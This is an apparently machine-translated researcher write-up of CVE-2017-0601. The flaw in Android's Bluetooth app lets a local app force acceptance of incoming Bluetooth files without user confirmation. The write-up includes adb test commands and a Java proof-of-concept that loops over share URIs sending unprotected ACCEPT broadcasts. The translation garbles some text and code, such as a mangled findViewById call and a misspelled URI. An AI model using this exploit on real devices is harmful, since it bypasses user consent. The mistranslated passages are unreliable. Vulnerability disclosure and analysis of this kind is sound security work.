Original Bluetooth App vulnerability series analysis one of the CVE20170601-vulnerability warning-the black bar safety net

Author: little Lotus just buds@MS509Team

0x01 summary

2017 5 on Android security Bulletin fixes we submitted a Bluetooth mention the right to risk vulnerability, this vulnerability although simple, but rather interesting, able to make local malicious Apps to bypass the user interaction, allowing users forced to receive external incoming Bluetooth files. The vulnerability summary is as follows:

• CVE: CVE-2017-0601
• BugID: A-35258579
• Severity: medium
• The impact of Google devices: All
• Updated AOSP versions: 7.0, 7.1.1, 7.1.2

0x02 vulnerability analysis

Bluetooth App exposes a broadcast receiver com. android. bluetooth. opp. BluetoothOppReceiver, the local ordinary App can to this Receiver sends a broadcast, view its OnReceive method, contains a variety of incoming broadcast Intent Action processing, but most of the Intent of the Action is protected, simple to use adb shell can be one of their test, such as

adb shell am broadcast-a android. btopp. intent. action. OPEN

Prompts the following error, description of the action is in the protection state

Broadcasting: Intent { act=android. btopp. intent. action. OPEN }
java. lang. SecurityException: Permission Denial: not allowed to send broadcast android. btopp. intent. action. OPEN from pid=26382, uid=2000
at android. os. Parcel. readException(Parcel. java:1683)
at android. os. Parcel. readException(Parcel. java:1636)
at android. app. ActivityManagerProxy. broadcastIntent(ActivityManagerNative. java:3507)
at com. android. commands. am. Am. sendBroadcast(Am. java:772)
at com. android. commands. am. Am. onRun(Am. java:404)
at com. android. internal. os. BaseCommand. run(BaseCommand. java:51)
at com. android. commands. am. Am. main(Am. java:121)
at com. android. internal. os. RuntimeInit. nativeFinishInit(Native Method)
at com. android. internal. os. RuntimeInit. main(RuntimeInit. java:262)

But android. btopp. intent. action. ACCEPT this Intent Action, but there is no protection

adb shell am broadcast-a android. btopp. intent. action. ACCEPT

Broadcasting: Intent { act=android. btopp. intent. action. ACCEPT }Broadcast completed: result=0

Further analysis of the AOSP code and found that the incoming the Action of the Intent, the Intent carrying a Uri pointing to the db to be updated, the Update for the user to confirm the state.

else if (action. equals(Constants. ACTION_ACCEPT)) {
if (V) Log. v(TAG, “Receiver ACTION_ACCEPT”);
Uri uri = intent. getData();
ContentValues values = new ContentValues();
values. put(BluetoothShare. USER_CONFIRMATION,BluetoothShare. USER_CONFIRMATION_CONFIRMED);
context. getContentResolver(). update(uri, values, null, null);
cancelNotification(context, uri);

This db is actually a Bluetooth file-sharing provider, the corresponding uri is content://con. android. bluetooth. opp/btopp, when share via Bluetooth receiving and sending files, the database adds a new entry, recording the receiving and sending State. The provider recording the information may refer to BluetoothShare

/**

• Exposes constants used to interact with the Bluetooth Share manager’s content
• provider.
• @hide
  */

public final class BluetoothShare implements BaseColumns {
private BluetoothShare() {
}

/**

• The permission to access the Bluetooth Share Manager
  */
  public static final String PERMISSION_ACCESS = “android. permission. ACCESS_BLUETOOTH_SHARE”;

/**

• The content:// URI for the data table in the provider
  */
  public static final Uri CONTENT_URI = Uri. parse(“content://com. android. bluetooth. opp/btopp”);

Therefore, if we are in the Intent passed in a Bluetooth shared file corresponding to the uri, then it is in the Bluetooth file share Provider in the state will be changed to the user to confirm the state. Here continue to be conjecture, and further, if we just through Bluetooth incoming a file, its status is changed to the user to confirm, whether the file without confirmation, automatically receive? Fortunately, that is true.

0x03 exploit

Here there is a problem to be solved, content://com. android. bluetooth. opp/btopp just the whole provider uri, How do we know just through the Bluetooth incoming file uri? Through violence exhaustive, the following PoC is simple to solve this problem,

public class MainActivity extends AppCompatActivity {
Button m_btnAccept = null;

public static final String ACTION_ACCEPT = “android. btopp. intent. action. ACCEPT”;
public static final String BLUETOOTH_SHARE_URI = “content://com. android. bluetooth. opp/btopp/”;

@Override
protected void onCreate(Bundle savedInstanceState) {
super. onCreate(savedInstanceState);
setContentView(R. layout. activity_main);

m_btnAccept = (Button)which the image will be(R. id. accept);
m_btnAccept. setOnClickListener(new View. OnClickListener() {
@Override
public void onClick(View view) {
Intent intent = new Intent();
intent. setComponent(new ComponentName(“com. android. bluetooth”,“com. android. bluetooth. opp. BluetoothOppReceiver”));
intent. setAction(ACTION_ACCEPT);
// Guess the incoming bluetooth share uri, normally it increases from 1 by 1 and could be guessed easily.
// Then Send broadcast to change the incoming file status
for (int i = 0 ; i < 255; i++) {
String uriString = BLUETOOTH_SHARE_URI + Integer. toString(i);
intent. setData(Uri. parse(uriString));
sendBroadcast(intent);
}
}
});
}
}

[1] [2] next